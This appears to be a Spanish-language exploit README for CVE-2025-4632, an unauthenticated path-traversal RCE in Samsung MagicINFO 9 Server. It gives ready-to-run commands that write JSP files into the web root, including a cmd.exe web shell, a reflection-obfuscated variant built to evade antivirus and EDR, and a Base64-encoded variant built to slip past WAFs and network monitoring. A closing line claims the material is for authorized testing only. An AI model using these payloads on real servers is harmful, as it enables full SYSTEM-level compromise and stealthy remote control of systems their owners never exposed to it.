Este repositorio contiene un script de replicación en Python para CVE-2025-4632, una vulnerabilidad de Ejecución Remota de Código (RCE) no autenticada en Samsung MagicINFO 9 Server (versiones anteriores a la 21.1052).
Este repositorio contiene un script de replicación en Python para CVE-2025-4632, una vulnerabilidad de Ejecución Remota de Código (RCE) sin autenticación en el Servidor Samsung MagicINFO 9 (versiones anteriores a 21.1052).
La vulnerabilidad existe debido a una limitación inadecuada de una ruta en el servlet SWUpdateFileUploader. Al utilizar path traversal (../../), un atacante no autenticado puede escribir archivos arbitrarios con autoridad SYSTEM, lo que lleva a un compromiso total del servidor.
s4e-io (de la comunidad ProjectDiscovery Nuclei (http/cves/2025/CVE-2025-4632.yaml)).CVE-2025-4632.El script automatiza el proceso de generar una solicitud de actualización de dispositivo con apariencia legítima. Explota el parámetro fileName inyectando secuencias de path traversal para salir del directorio de carga previsto y escribir un archivo directamente en la raíz web (/MagicInfo/).
El script realiza dos pasos:
/MagicInfo/servlet/SWUpdateFileUploader con la ruta de traversal./MagicInfo/<nombre_archivo> para confirmar la explotación exitosa.python exploit_magicinfo.py -t <TARGET_URL> -f <FILENAME> -d <PAYLOAD_DATA>
-t / --target: La URL base del objetivo (ej., http://192.168.1.100:7001).-f / --filename: El nombre del archivo a crear (ej., shell.jsp).-d / --data: El contenido bruto a escribir en el archivo.Los siguientes payloads fueron probados con éxito durante actividades de evaluación. Están diseñados para demostrar el impacto mientras navegan por los controles de seguridad del endpoint.
Se utiliza para confirmar de forma segura la ejecución de JSP sin activar Antivirus ni EDR.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f poc.jsp -d '<% out.println("JSP Execution Confirmed. System time: " + new java.util.Date()); %>'
Acceso: http://<target>:7001/MagicInfo/poc.jsp
Un web shell JSP estándar. Nota: Esto puede ser detectado y puesto en cuarentena por soluciones modernas de AV/EDR, resultando en un 404 Not Found al verificar.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f cmd.jsp -d '<%@ page import="java.io.*" %><% String c = request.getParameter("c"); if (c != null) { Process p = Runtime.getRuntime().exec("cmd.exe /c " + c); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; out.print("<pre>"); while ((l = in.readLine()) != null) { out.println(l); } out.print("</pre>"); } %>'
Acceso: http://<target>:7001/MagicInfo/cmd.jsp?c=whoami
Se utiliza cuando el shell estándar está bloqueado. Este payload usa Java Reflection para ocultar la firma Runtime.getRuntime().exec del análisis estático.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f bypass.jsp -d '<%@ page import="java.io.*" %><% String s1 = "Run"; String s2 = "time"; String s3 = "ex"; String s4 = "ec"; Object rt = Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null); String c = request.getParameter("c"); if(c!=null){Process p = (Process)rt.getClass().getMethod(s3+s4, String.class).invoke(rt, "cmd.exe /c " + c); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
Acceso: http://<target>:7001/MagicInfo/bypass.jsp?c=whoami /all
Altamente Recomendado para Comandos Complejos: Si encuentras errores 400 Bad Request al intentar ejecutar comandos con espacios, barras invertidas o caracteres especiales (ej., dir c:\), la validación estricta de URI del servidor o un WAF está bloqueando la solicitud.
Este payload avanzado espera que el comando esté codificado en Base64 en la URL. Lo decodifica en el lado del servidor antes de la ejecución, evitando completamente el filtrado de URL y ocultando el comando de los monitores de red.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f b64.jsp -d '<%@ page import="java.io.*,java.util.Base64" %><% String s1="Run";String s2="time";String s3="ex";String s4="ec";Object rt=Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null);String c=request.getParameter("c");if(c!=null){byte[] decodedBytes = Base64.getDecoder().decode(c);String decodedCmd = new String(decodedBytes);Process p=(Process)rt.getClass().getMethod(s3+s4,String.class).invoke(rt,"cmd.exe /c "+decodedCmd);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
Ejemplos de Uso:
Codifica tu comando a Base64 localmente (ej., echo -n "dir c:\" | base64), luego pásalo al parámetro c.
whoami -> d2hvYW1p
http://<target>:7001/MagicInfo/b64.jsp?c=d2hvYW1ptasklist /svc -> dGFza2xpc3QgL3N2Yw==
http://<target>:7001/MagicInfo/b64.jsp?c=dGFza2xpc3QgL3N2Yw==dir c:\ -> ZGlyIGM6XA==
http://<target>:7001/MagicInfo/b64.jsp?c=ZGlyIGM6XA==Descargo de responsabilidad: Este script es solo para fines educativos y de pruebas de penetración autorizadas.